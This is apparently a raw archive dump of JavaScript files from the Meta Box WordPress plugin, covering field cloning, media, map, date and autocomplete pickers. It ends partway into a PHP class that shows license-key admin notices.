				if ( name && ! $field.closest( '.rwmb-group-clone' ).length ) {
					$field.attr( 'name', cloneIndex.replace( index, name, '[', ']', false ) );
				}

				// ID attribute
				var id = this.id;
				if ( id ) {
					$field.attr( 'id', cloneIndex.replace( index, id, '_', '', true, true ) );
				}

				$field.trigger( 'update_index', index );
			} );
		},

		/**
		 * Replace an attribute of a field with updated index
		 * @param index New index value
		 * @param value Attribute value
		 * @param before String before returned value
		 * @param after String after returned value
		 * @param alternative Check if attribute does not contain any integer, will reset the attribute?
		 * @param isEnd Check if we find string at the end?
		 * @return string
		 */
		replace: function ( index, value, before, after, alternative, isEnd ) {
			before = before || '';
			after = after || '';

			if ( typeof alternative === 'undefined' ) {
				alternative = true;
			}

			var end = isEnd ? '$' : '';

			var regex = new RegExp( cloneIndex.escapeRegex( before ) + '(\\d+)' + cloneIndex.escapeRegex( after ) + end ),
				newValue = before + index + after;

			return regex.test( value ) ? value.replace( regex, newValue ) : (alternative ? value + newValue : value );
		},

		/**
		 * Helper function to escape string in regular expression
		 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions
		 * @param string
		 * @return string
		 */
		escapeRegex: function ( string ) {
			return string.replace( /[.*+?^${}()|[\]\\]/g, "\\$&" );
		},

		/**
		 * Helper function to create next index for clones
		 * @param $container .rwmb-input container
		 * @return integer
		 */
		nextIndex: function ( $container ) {
			var nextIndex = $container.data( 'next-index' );

			// If we render cloneable fields via AJAX, the mb_ready event is not fired.
			// so nextIndex is undefined. In this case, we get the next index from the number of existing clones.
			if ( nextIndex === undefined ) {
				nextIndex = $container.children( '.rwmb-clone' ).length;
			}

			$container.data( 'next-index', nextIndex + 1 );
			return nextIndex;
		}
	};

	// Object holds all method related to fields' value when clone.
	var cloneValue = {
		setDefault: function() {
			var $field = $( this );

			if ( true !== $field.data( 'clone-default' ) ) {
				return;
			}

			var type = $field.attr( 'type' ),
				defaultValue = $field.data( 'default' );

			if ( 'radio' === type ) {
				$field.prop( 'checked', $field.val() === defaultValue );
			} else if ( $field.hasClass( 'rwmb-checkbox' ) || $field.hasClass( 'rwmb-switch' ) ) {
				$field.prop( 'checked', !! defaultValue );
			} else if ( $field.hasClass( 'rwmb-checkbox_list' ) ) {
				var value = $field.val();
				$field.prop( 'checked', Array.isArray( defaultValue ) ? -1 !== defaultValue.indexOf( value ) : value == defaultValue );
			} else if ( $field.is( 'select' ) ) {
				$field.find( 'option[value="' + defaultValue + '"]' ).prop( 'selected', true );
			} else if ( ! $field.hasClass( 'rwmb-hidden' ) ) {
				$field.val( defaultValue );
			}
		},
		clear: function() {
			const $field = $( this ),
				type = $field.attr( 'type' );

			if ( 'radio' === type || 'checkbox' === type ) {
				$field.prop( 'checked', false );
			} else if ( $field.is( 'select' ) ) {
				$field.prop( 'selectedIndex', 0 );
			} else if ( ! $field.hasClass( 'rwmb-hidden' ) ) {
				$field.val( '' );
			}
		}
	};

	/**
	 * Clone fields
	 * @param $container A div container which has all fields
	 */
	function clone( $container ) {
		var $last = $container.children( '.rwmb-clone' ).last(),
			$clone = $last.clone(),
			nextIndex = cloneIndex.nextIndex( $container );

		// Clear fields' values.
		var $inputs = $clone.find( rwmb.inputSelectors );
		$inputs.each( cloneValue.clear );

		// Remove validation errors.
		$clone.find( 'p.rwmb-error' ).remove();

		// Insert clone.
		$clone.insertAfter( $last );

		// Trigger custom event for the clone instance. Required for Group extension to update sub fields.
		$clone.trigger( 'clone_instance', nextIndex );

		// Set fields index. Must run before trigger clone event.
		cloneIndex.set( $inputs, nextIndex );

		// Set fields' default values: do after index is set to prevent previous radio fields from unchecking.
		$inputs.each( cloneValue.setDefault );

		// Trigger custom clone event.
		$inputs.trigger( 'clone', nextIndex );

		// After cloning fields.
		$inputs.trigger( 'after_clone', nextIndex );

		// Trigger custom change event for MB Blocks to update block attributes.
		$inputs.first().trigger( 'mb_change' );
	}

	/**
	 * Hide remove buttons when there's only 1 of them
	 *
	 * @param $container .rwmb-input container
	 */
	function toggleRemoveButtons( $container ) {

		var $clones = $container.children( '.rwmb-clone' ),
		    minClone = 1;

		if ( $container.data( 'min-clone' ) ) {
			minClone = parseInt( $container.data( 'min-clone' ) );
		}
		$clones.children( '.remove-clone' ).toggle( $clones.length > minClone );

		// Recursive for nested groups.
		$container.find( '.rwmb-input' ).each( function () {
			toggleRemoveButtons( $( this ) );
		} );
	}

	/**
	 * Toggle add button
	 * Used with [data-max-clone] attribute. When max clone is reached, the add button is hid and vice versa
	 *
	 * @param $container .rwmb-input container
	 */
	function toggleAddButton( $container ) {
		var $button = $container.children( '.add-clone' ),
			maxClone = parseInt( $container.data( 'max-clone' ) ),
			numClone = $container.children( '.rwmb-clone' ).length;

		$button.toggle( isNaN( maxClone ) || ( maxClone && numClone < maxClone ) );
	}

	function addClone( e ) {
		e.preventDefault();

		var $container = $( this ).closest( '.rwmb-input' );
		clone( $container );

		toggleRemoveButtons( $container );
		toggleAddButton( $container );
		sortClones.apply( $container[0] );
	}

	function removeClone( e ) {
		e.preventDefault();

		var $this = $( this ),
			$container = $this.closest( '.rwmb-input' );

		// Remove clone only if there are 2 or more of them
		if ( $container.children( '.rwmb-clone' ).length < 2 ) {
			return;
		}

		$this.parent().trigger( 'remove' ).remove();
		toggleRemoveButtons( $container );
		toggleAddButton( $container );

		// Trigger custom change event for MB Blocks to update block attributes.
		$container.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
	}

	/**
	 * Sort clones.
	 * Expect this = .rwmb-input element.
	 */
	function sortClones() {
		var $container = $( this );

		if ( undefined !== $container.sortable( 'instance' ) ) {
			return;
		}
		if ( 0 === $container.children( '.rwmb-clone' ).length ) {
			return;
		}

		$container.sortable( {
			handle: '.rwmb-clone-icon',
			placeholder: ' rwmb-clone rwmb-sortable-placeholder',
			items: '> .rwmb-clone',
			start: function ( event, ui ) {
				// Make the placeholder has the same height as dragged item
				ui.placeholder.height( ui.item.outerHeight() );
			},
			stop: function( event, ui ) {
				ui.item.trigger( 'mb_init_editors' );
				ui.item.find( rwmb.inputSelectors ).first().trigger( 'mb_change' );
			}
		} );
	}

	function start() {
		var $container = $( this );
		toggleRemoveButtons( $container );
		toggleAddButton( $container );

		$container.data( 'next-index', $container.children( '.rwmb-clone' ).length );
		sortClones.apply( this );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-input' ).each( start );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'click', '.add-clone', addClone )
		.on( 'click', '.remove-clone', removeClone );

	// Export for use outside.
	rwmb.cloneIndex = cloneIndex;
	rwmb.cloneValue = cloneValue;
	rwmb.sortClones = sortClones;
	rwmb.toggleRemoveButtons = toggleRemoveButtons;
	rwmb.toggleAddButton = toggleAddButton;
} )( jQuery, rwmb );
PK     N\N}z  z  &  inc/dashboard/lib/meta-box/js/video.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		MediaField = views.MediaField,
		MediaItem = views.MediaItem,
		MediaList = views.MediaList,
		VideoField;

	VideoField = views.VideoField = MediaField.extend( {
		createList: function ()
		{
			this.list = new MediaList( {
				controller: this.controller,
				itemView: MediaItem.extend( {
					className: 'rwmb-video-item',
					template : wp.template( 'rwmb-video-item' ),
					render: function()
					{
						var settings =  ! _.isUndefined( window._wpmejsSettings ) ? _.clone( _wpmejsSettings ) : {};
						MediaItem.prototype.render.apply( this, arguments );
						this.player = new MediaElementPlayer( this.$( 'video' ).get(0), settings );
					}
				} )
			} );
		}
	} );

	function initVideoField() {
		var $this = $( this ),
			view = new VideoField( { input: this } );
		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-video' ).each( initVideoField );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-video', initVideoField );
} )( jQuery, rwmb );
PK     N\f    &  inc/dashboard/lib/meta-box/js/range.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	/**
	 * Update text value.
	 */
	function update() {
		var $this = $( this ),
			$output = $this.siblings( '.rwmb-range-output' );

		$this.on( 'input propertychange change', function () {
			$output.html( $this.val() );
		} );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-range' ).each( update );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-range', update );
} )( jQuery, rwmb );
PK     N\UA    /  inc/dashboard/lib/meta-box/js/image-advanced.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	var views = rwmb.views = rwmb.views || {},
		MediaField = views.MediaField,
		MediaItem = views.MediaItem,
		MediaList = views.MediaList,
		ImageField;

	ImageField = views.ImageField = MediaField.extend( {
		createList: function () {
			this.list = new MediaList( {
				controller: this.controller,
				itemView: MediaItem.extend( {
					className: 'rwmb-image-item',
					template: wp.template( 'rwmb-image-item' )
				} )
			} );
		}
	} );

	/**
	 * Initialize image fields
	 */
	function initImageField() {
		var $this = $( this ),
			view = $this.data( 'view' );

		if ( view ) {
			return;
		}

		view = new ImageField( { input: this } );

		$this.siblings( '.rwmb-media-view' ).remove();
		$this.after( view.el );
		$this.data( 'view', view );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-image_advanced' ).each( initImageField );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-image_advanced', initImageField );
} )( jQuery, rwmb );
PK     N\z{    %  inc/dashboard/lib/meta-box/js/post.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function addNew() {
		const $this = $( this );

		$this.rwmbModal( {
			removeElement: '#editor .interface-interface-skeleton__footer, .edit-post-fullscreen-mode-close',
			callback: function ( $modal, $modalContent ) {
				if ( !this.isBlockEditor ) {
					this.$objectId = $modalContent.find( '#post_ID' ).val();
					return;
				}

				setTimeout( () => {
					if ( $modalContent.find( '.edit-post-post-url .edit-post-post-url__toggle' ).length > 0 ) {
						let url = $modalContent.find( '.edit-post-post-url .edit-post-post-url__toggle' ).text();
						this.$objectId = url.substr( url.indexOf( "=" ) + 1 );
					}
				}, 2000 );

				setTimeout( () => {
					const $ui = $modalContent.find( '.interface-interface-skeleton' );
					$ui.css( {
						left: 0,
						top: 0
					} );
					$ui.find( '.interface-interface-skeleton__editor' ).css( 'overflow', 'scroll' );
				}, 500 );
			},
			closeModalCallback: function ( $modal, $input ) {
				this.$objectDisplay = !this.isBlockEditor ? $modal.find( '#title' ).val() : $modal.find( '.interface-interface-skeleton__editor h1.editor-post-title__input' ).text().trim();
			}
		} );
	}

	function init( e ) {
		const wrapper = e.target || e;
		$( wrapper ).find( '.rwmb-post-add-button' ).each( addNew );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', function ( e ) {
			init( $( e.target ).parent() );
		} );

} )( jQuery, rwmb );
PK     N\<=zc  c  %  inc/dashboard/lib/meta-box/js/time.jsnu [        ( function ( $, rwmb, i18n ) {
	'use strict';

	/**
	 * Transform an input into a time picker.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' ),
			$inline = $this.siblings( '.rwmb-datetime-inline' ),
			current = $this.val();

		$this.siblings( '.ui-datepicker-append' ).remove();  // Remove appended text

		options.onSelect = function() {
			$this.trigger( 'change' );
		}
		options.beforeShow = function( i ) {
			if ( $( i ).prop( 'readonly' ) ) {
				return false;
			}
		}

		if ( ! $inline.length ) {
			$this.removeClass( 'hasDatepicker' ).timepicker( options );
			return;
		}

		options.altField = '#' + $this.attr( 'id' );
		$inline
			.removeClass( 'hasDatepicker' )
			.empty()
			.prop( 'id', '' )
			.timepicker( options )
			.timepicker( 'setTime', current );
	}

	// Set language if available
	function setTimeI18n() {
		if ( $.timepicker.regional.hasOwnProperty( i18n.locale ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.locale] );
		} else if ( $.timepicker.regional.hasOwnProperty( i18n.localeShort ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.localeShort] );
		}
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-time' ).each( transform );
	}

	setTimeI18n();
	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-time', transform );
} )( jQuery, rwmb, RWMB_Time );
PK     N\R    %  inc/dashboard/lib/meta-box/js/user.jsnu [        ( function ( $, rwmb ) {
    'use strict';

    function addNew() {
        const $this = $( this );

        $this.rwmbModal( {
            removeElement: '#add-new-user',
            callback: function ( $modal, $modalContent ) {
                $modalContent.find( '#add-new-user' ).next().next().remove();
            },
            closeModalCallback: function ( $modal, $input ) {
                if ( $modal.find( '#wpbody-content .wrap form input[name="_wp_http_referer"]' ).length > 0 ) {
                    const urlParams = new URLSearchParams( $modal.find( '#wpbody-content .wrap form input[name="_wp_http_referer"]' ).val() );
                    this.$objectId = parseInt( urlParams.get( 'id' ) );
                    this.$objectDisplay = $modal.find( `#the-list tr[id="user-${ this.$objectId }"] .column-name` ).text() !== '—Unknown' ?
                        $modal.find( `#the-list tr[id="user-${ this.$objectId }"] .column-name` ).text() :
                        $modal.find( `#the-list tr[id="user-${ this.$objectId }"] .column-username strong a` ).text();
                }
            }
        } );
    }

    function init( e ) {
        const wrapper = e.target || e;
        $( wrapper ).find( '.rwmb-user-add-button' ).each( addNew );
    }

    rwmb.$document
        .on( 'mb_ready', init )
        .on( 'clone', function ( e ) {
            init( $( e.target ).parent() );
        } );

} )( jQuery, rwmb );
PK     N\
vh    '  inc/dashboard/lib/meta-box/js/select.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function toggleAll( e ) {
		e.preventDefault();

		var $this = $( this ),
			$select = $this.parent().siblings( 'select' );

		if ( 'none' === $this.data( 'type' ) ) {
			$select.val( [] ).trigger( 'change' );
			return;
		}
		var selected = [];
		$select.find( 'option' ).each( function ( index, option ) {
			selected.push( option.value );
		} );
		$select.val( selected ).trigger( 'change' );
	};

	rwmb.$document
		.on( 'click', '.rwmb-select-all-none a', toggleAll );
} )( jQuery, rwmb );
PK     N\H?"  ?"  $  inc/dashboard/lib/meta-box/js/map.jsnu [        ( function ( $, document, window, google, rwmb, i18n ) {
	'use strict';

	// Use function construction to store map & DOM elements separately for each instance
	var MapField = function ( $container ) {
		this.$container = $container;
	};

	// Geocoder service.
	var geocoder = new google.maps.Geocoder();
	// Autocomplete Service.
	var autocomplete = new google.maps.places.AutocompleteService();
	// Use prototype for better performance
	MapField.prototype = {
		// Initialize everything
		init: function () {
			this.initDomElements();
			this.initMapElements();

			this.initMarkerPosition();
			this.addListeners();
			this.autocomplete();
		},

		// Initialize DOM elements
		initDomElements: function () {
			this.$canvas = this.$container.find( '.rwmb-map-canvas' );
			this.canvas = this.$canvas[ 0 ];
			this.$coordinate = this.$container.find( '.rwmb-map' );
			this.addressField = this.$container.data( 'address-field' );
		},

		setCenter: function ( location ) {
			if ( !( location instanceof google.maps.LatLng ) ) {
				location = new google.maps.LatLng( parseFloat( location.lat ), parseFloat( location.lng ) );
			}
			this.map.setCenter( location );
			if ( this.marker ) {
				this.marker.setPosition( location );
				return;
			}

			this.marker = new google.maps.Marker( {
				position: location,
				map: this.map,
				draggable: true,
			} );
		},

		initMapElements: function () {
			this.map = new google.maps.Map( this.canvas, {
				zoom: 14,
				streetViewControl: 0,
				mapTypeId: google.maps.MapTypeId.ROADMAP
			} );

			// If there is a saved location, don't set the default location.
			if ( this.$coordinate.val() ) {
				return;
			}

			// Load default location if it's set.
			let defaultLoc = this.$canvas.data( 'default-loc' );
			if ( defaultLoc ) {
				const [ lat, lng ] = defaultLoc.split( ',' );
				return this.setCenter( { lat, lng } );
			}

			// Set default location to Dublin as a start.
			const dublin = { lat: 53.346881, lng: -6.258860 };
			this.setCenter( dublin );

			// Try to load current user location. Note that Geolocation API works only on HTTPS.
			if ( location.protocol.includes( 'https' ) && navigator.geolocation ) {
				navigator.geolocation.getCurrentPosition( position => this.setCenter( { lat: position.coords.latitude, lng: position.coords.longitude } ) );
			}
		},

		initMarkerPosition: function () {
			const coordinate = this.$coordinate.val();

			if ( coordinate ) {
				const location = coordinate.split( ',' );
				this.setCenter( { lat: location[ 0 ], lng: location[ 1 ] } );

				const zoom = location.length > 2 ? parseInt( location[ 2 ], 10 ) : 14;
				this.map.setZoom( zoom );
			} else if ( this.addressField ) {
				this.geocodeAddress( false );
			}
		},

		// Add event listeners for 'click' & 'drag'
		addListeners: function () {
			var that = this;

			/*
			 * Auto change the map when there's change in address fields.
			 * Works only for multiple address fields as single address field has autocomplete functionality.
			 */
			if ( this.addressField.split( ',' ).length > 1 ) {
				var geocodeAddress = that.geocodeAddress.bind( that );
				var addressFields = this.addressField.split( ',' ).forEach( function ( part ) {
					var $field = that.findAddressField( part );
					if ( null !== $field ) {
						$field.on( 'change', geocodeAddress );
					}
				} );
			}

			google.maps.event.addListener( this.map, 'click', function ( event ) {
				that.marker.setPosition( event.latLng );
				that.updateCoordinate( event.latLng );
			} );

			google.maps.event.addListener( this.map, 'zoom_changed', function ( event ) {
				that.updateCoordinate( that.marker.getPosition() );
			} );

			google.maps.event.addListener( this.marker, 'drag', function ( event ) {
				that.updateCoordinate( event.latLng );
			} );

			/**
			 * Custom event to refresh maps when in hidden divs.
			 * @see https://developers.google.com/maps/documentation/javascript/reference ('resize' Event)
			 */
			var refresh = that.refresh.bind( this );
			$( window ).on( 'rwmb_map_refresh', refresh );

			// Refresh on meta box hide and show
			rwmb.$document.on( 'postbox-toggled', refresh );
			// Refresh on sorting meta boxes
			$( '.meta-box-sortables' ).on( 'sortstop', refresh );
		},

		refresh: function () {
			if ( !this.map ) {
				return;
			}
			var zoom = this.map.getZoom(),
				center = this.map.getCenter();

			google.maps.event.trigger( this.map, 'resize' );
			this.map.setZoom( zoom );
			this.map.panTo( center );
		},

		// Autocomplete address
		autocomplete: function () {
			var that = this,
				$address = this.getAddressField();

			if ( null === $address ) {
				return;
			}

			// If Meta Box Geo Location installed. Do not run autocomplete.
			if ( $( '.rwmb-geo-binding' ).length ) {
				var geocodeAddress = that.geocodeAddress.bind( that );
				$address.on( 'selected_address', geocodeAddress );
				return false;
			}

			$address.autocomplete( {
				source: function ( request, response ) {
					// if add region only search in that region
					var options = {
						'input': request.term,
						'componentRestrictions': { country: that.$canvas.data( 'region' ) }
					};
					// Change Geocode to getPlacePredictions .
					autocomplete.getPlacePredictions( options, function ( results ) {
						if ( results == null || !results.length ) {
							response( [ {
								value: '',
								label: i18n.no_results_string
							} ] );
							return;
						}
						response( results.map( function ( item ) {
							return {
								label: item.description,
								value: item.description,
								placeid: item.place_id,
							};
						} ) );
					} );
				},
				select: function ( event, ui ) {
					geocoder.geocode( {
						'placeId': ui.item.placeid
					},
						function ( responses, status ) {
							if ( status == 'OK' ) {
								const latLng = new google.maps.LatLng( responses[ 0 ].geometry.location.lat(), responses[ 0 ].geometry.location.lng() );
								that.setCenter( latLng );
								that.updateCoordinate( latLng );
							}
						} );
				}
			} );
		},

		// Update coordinate to input field
		updateCoordinate: function ( latLng ) {
			var zoom = this.map.getZoom();
			this.$coordinate.val( latLng.lat() + ',' + latLng.lng() + ',' + zoom ).trigger( 'change' );
		},

		// Find coordinates by address
		geocodeAddress: function ( notify ) {
			var address = this.getAddress(),
				that = this;
			if ( !address ) {
				return;
			}

			if ( false !== notify ) {
				notify = true;
			}
			geocoder.geocode( { 'address': address }, function ( results, status ) {
				if ( status !== google.maps.GeocoderStatus.OK ) {
					if ( notify ) {
						alert( i18n.no_results_string );
					}
					return;
				}
				that.setCenter( results[ 0 ].geometry.location );
				that.updateCoordinate( results[ 0 ].geometry.location );
			} );
		},

		// Get the address field.
		getAddressField: function () {
			// No address field or more than 1 address fields, ignore
			if ( !this.addressField || this.addressField.split( ',' ).length > 1 ) {
				return null;
			}
			return this.findAddressField( this.addressField );
		},

		// Get the address value for geocoding.
		getAddress: function () {
			var that = this;

			return this.addressField.split( ',' )
				.map( function ( part ) {
					part = that.findAddressField( part );
					return null === part ? '' : part.val();
				} )
				.join( ',' ).replace( /\n/g, ',' ).replace( /,,/g, ',' );
		},

		// Find address field based on its name attribute. Auto search inside groups when needed.
		findAddressField: function ( fieldName ) {
			// Not in a group.
			var $address = $( 'input[name="' + fieldName + '"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a cloneable group.
			$address = this.$container.closest( '.rwmb-group-clone' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a non-cloneable group.
			$address = this.$container.closest( '.rwmb-group-wrapper' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			return null;
		}
	};

	function createController() {
		var $this = $( this ),
			controller = $this.data( 'mapController' );
		if ( controller ) {
			return;
		}

		controller = new MapField( $this );
		controller.init();
		$this.data( 'mapController', controller );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-map-field' ).each( createController );
	}

	function restart() {
		$( '.rwmb-map-field' ).each( createController );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-input', restart );
} )( jQuery, document, window, google, rwmb, RWMB_Map );
PK     N\l|  |  -  inc/dashboard/lib/meta-box/js/autocomplete.jsnu [        ( function ( $, rwmb, i18n ) {
	'use strict';

	/**
	 * Transform an input into an autocomplete.
	 */
	function transform( e ) {
		var $this = $( this ),
			$search = $this.siblings( '.rwmb-autocomplete-search' ),
			$result = $this.siblings( '.rwmb-autocomplete-results' ),
			name = $this.attr( 'name' );

		// If the function is called on cloning, then change the field name and clear all results
		if ( e.hasOwnProperty( 'type' ) && 'clone' == e.type ) {
			$result.html( '' );
		}

		$search.removeClass( 'ui-autocomplete-input' ).autocomplete( {
			minLength: 0,
			source: $this.data( 'options' ),
			select: function ( event, ui ) {
				$result.append(
					'<div class="rwmb-autocomplete-result">' +
					'<div class="label">' + ( typeof ui.item.excerpt !== 'undefined' ? ui.item.excerpt : ui.item.label ) + '</div>' +
					'<div class="actions">' + i18n.delete + '</div>' +
					'<input type="hidden" class="rwmb-autocomplete-value" name="' + name + '" value="' + ui.item.value + '">' +
					'</div>'
				);

				// Reinitialize value.
				$search.val( '' ).trigger( 'change' );

				return false;
			}
		} );
	}

	function deleteSelection( e ) {
		e.preventDefault();
		var $item = $( this ).parent(),
			$search = $item.parent().siblings( '.rwmb-autocomplete-search' );

		$item.remove();
		$search.trigger( 'change' );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-autocomplete-wrapper input[type="hidden"]' ).each( transform );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-autocomplete', transform )
		.on( 'click', '.rwmb-autocomplete-result .actions', deleteSelection );
} )( jQuery, rwmb, RWMB_Autocomplete );
PK     N\u7    -  inc/dashboard/lib/meta-box/js/image-select.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function setActiveClass() {
		var $this = $( this ),
			type = $this.attr( 'type' ),
			selected = $this.is( ':checked' ),
			$parent = $this.parent(),
			$others = $parent.siblings();
		if ( selected ) {
			$parent.addClass( 'rwmb-active' );
			if ( type === 'radio' ) {
				$others.removeClass( 'rwmb-active' );
			}
		} else {
			$parent.removeClass( 'rwmb-active' );
		}
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-image-select input' ).trigger( 'change' );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'change', '.rwmb-image-select input', setActiveClass );
} )( jQuery, rwmb );
PK     N\6	  	  %  inc/dashboard/lib/meta-box/js/date.jsnu [        ( function ( $, _, rwmb ) {
	'use strict';

	/**
	 * Transform an input into a date picker.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' ),
			$inline = $this.siblings( '.rwmb-datetime-inline' ),
			$timestamp = $this.siblings( '.rwmb-datetime-timestamp' ),
			current = $this.val(),
			$picker = $inline.length ? $inline : $this;

		$this.siblings( '.ui-datepicker-append' ).remove(); // Remove appended text

		options.onSelect = function() {
			$this.trigger( 'change' );
		}
		options.beforeShow = function( i ) {
			if ( $( i ).prop( 'readonly' ) ) {
				return false;
			}
		}

		if ( $timestamp.length ) {
			options.onClose = options.onSelect = function () {
				$timestamp.val( getTimestamp( $picker.datepicker( 'getDate' ) ) );
				$this.trigger( 'change' );
			};
		}

		if ( ! $inline.length ) {
			$this.removeClass( 'hasDatepicker' ).datepicker( options );
			return;
		}

		options.altField = '#' + $this.attr( 'id' );
		$this.on( 'keydown', _.debounce( function () {
			// if val is empty, return to allow empty datepicker input.
			if ( ! $this.val() ) {
				return;
			}
			$picker
				.datepicker( 'setDate', $this.val() )
				.find( '.ui-datepicker-current-day' )
				.trigger( 'click' );
		}, 600 ) );

		$inline
			.removeClass( 'hasDatepicker' )
			.empty()
			.prop( 'id', '' )
			.datepicker( options )
			.datepicker( 'setDate', current );
	}

	/**
	 * Convert date to Unix timestamp in milliseconds
	 * @link http://stackoverflow.com/a/14006555/556258
	 * @param date
	 * @return number
	 */
	function getTimestamp( date ) {
		if ( date === null ) {
			return '';
		}
		var milliseconds = Date.UTC( date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds() );
		return Math.floor( milliseconds / 1000 );
	}

	function init( e ) {
		/**
		 * WordPress sets localized data for jQuery UI datepicker at document ready.
		 * Using setTimeout to ensure the code runs after the localized data is set.
		 * @link https://wordpress.org/support/topic/inline-date-field-not-localization/
		 */
		setTimeout( () => {
			$( e.target ).find( '.rwmb-date' ).each( transform );
		}, 0 );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-date', transform );
} )( jQuery, _, rwmb );
PK     N\6q
  
  )  inc/dashboard/lib/meta-box/js/datetime.jsnu [        ( function ( $, _, rwmb, i18n ) {
	'use strict';

	/**
	 * Transform an input into a datetime picker.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' ),
			$inline = $this.siblings( '.rwmb-datetime-inline' ),
			$timestamp = $this.siblings( '.rwmb-datetime-timestamp' ),
			current = $this.val(),
			$picker = $inline.length ? $inline : $this;

		$this.siblings( '.ui-datepicker-append' ).remove(); // Remove appended text

		options.onSelect = function() {
			$this.trigger( 'change' );
		}
		options.beforeShow = function( i ) {
			if ( $( i ).prop( 'readonly' ) ) {
				return false;
			}
		}

		if ( $timestamp.length ) {
			options.onClose = options.onSelect = function () {
				$timestamp.val( getTimestamp( $picker.datetimepicker( 'getDate' ) ) );
				$this.trigger( 'change' );
			};
		}

		if ( ! $inline.length ) {
			$this.removeClass( 'hasDatepicker' ).datetimepicker( options );
			return;
		}

		options.altField = '#' + $this.attr( 'id' );
		$this.on( 'keydown', _.debounce( function () {
			// if val is empty, return to allow empty datepicker input.
			if ( ! $this.val() ) {
				return;
			}
			$picker
				.datepicker( 'setDate', $this.val() )
				.find( '.ui-datepicker-current-day' )
				.trigger( 'click' );
		}, 600 ) );

		$inline
			.removeClass( 'hasDatepicker' )
			.empty()
			.prop( 'id', '' )
			.datetimepicker( options )
			.datetimepicker( 'setDate', current );
	}

	/**
	 * Convert date to Unix timestamp in milliseconds
	 * @link http://stackoverflow.com/a/14006555/556258
	 * @param date
	 * @return number
	 */
	function getTimestamp( date ) {
		if ( date === null ) {
			return '';
		}
		var milliseconds = Date.UTC( date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds() );
		return Math.floor( milliseconds / 1000 );
	}

	// Set language if available
	function setTimeI18n() {
		if ( $.timepicker.regional.hasOwnProperty( i18n.locale ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.locale] );
		} else if ( $.timepicker.regional.hasOwnProperty( i18n.localeShort ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.localeShort] );
		}
	}

	function init( e ) {
		/**
		 * WordPress sets localized data for jQuery UI datepicker at document ready.
		 * Using setTimeout to ensure the code runs after the localized data is set.
		 * @link https://wordpress.org/support/topic/inline-date-field-not-localization/
		 */
		setTimeout( () => {
			$( e.target ).find( '.rwmb-datetime' ).each( transform );
		}, 0 );
	}

	setTimeI18n();
	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-datetime', transform );
} )( jQuery, _, rwmb, RWMB_Datetime );
PK     N\    7  inc/dashboard/lib/meta-box/src/Updater/Notification.phpnu [        <?php
namespace MetaBox\Updater;

/**
 * This class notifies users to enter or update license key.
 */
class Notification {
	private $checker;
	private $option;

	/**
	 * Settings page URL.
	 *
	 * @var string
	 */
	private $settings_page;


	public function __construct( Checker $checker, Option $option ) {
		$this->checker = $checker;
		$this->option  = $option;

		$this->settings_page = $option->is_network_activated() ? network_admin_url( 'settings.php?page=meta-box-updater' ) : admin_url( 'admin.php?page=meta-box-updater' );
	}

	/**
	 * Add hooks to show admin notice.
	 */
	public function init() {
		if ( ! $this->checker->has_extensions() ) {
			return;
		}

		// Show update message on Plugins page.
		$extensions = $this->checker->get_extensions();
		foreach ( $extensions as $extension ) {
			$file = "{$extension}/{$extension}.php";
			add_action( "in_plugin_update_message-$file", [ $this, 'show_update_message' ], 10, 2 );
			add_filter( "plugin_action_links_$file", [ $this, 'plugin_links' ], 20 );
		}

		$admin_notices_hook = $this->option->is_network_activated() ? 'network_admin_notices' : 'admin_notices';
		add_action( $admin_notices_hook, [ $this, 'notify' ] );
	}

	public function notify() {
		$excluded_screens = [
			'meta-box_page_meta-box-updater',
			'settings_page_meta-box-updater-network',
			'meta-box_page_meta-box-aio',
		];
		$screen = get_current_screen();
		if ( in_array( $screen->id, $excluded_screens, true ) ) {
			return;
		}

		$messages = [
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'no_key'  => __( 'You have not set your Meta Box license key yet, which means you are missing out on automatic updates and support! Please <a href="%1$s">enter your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
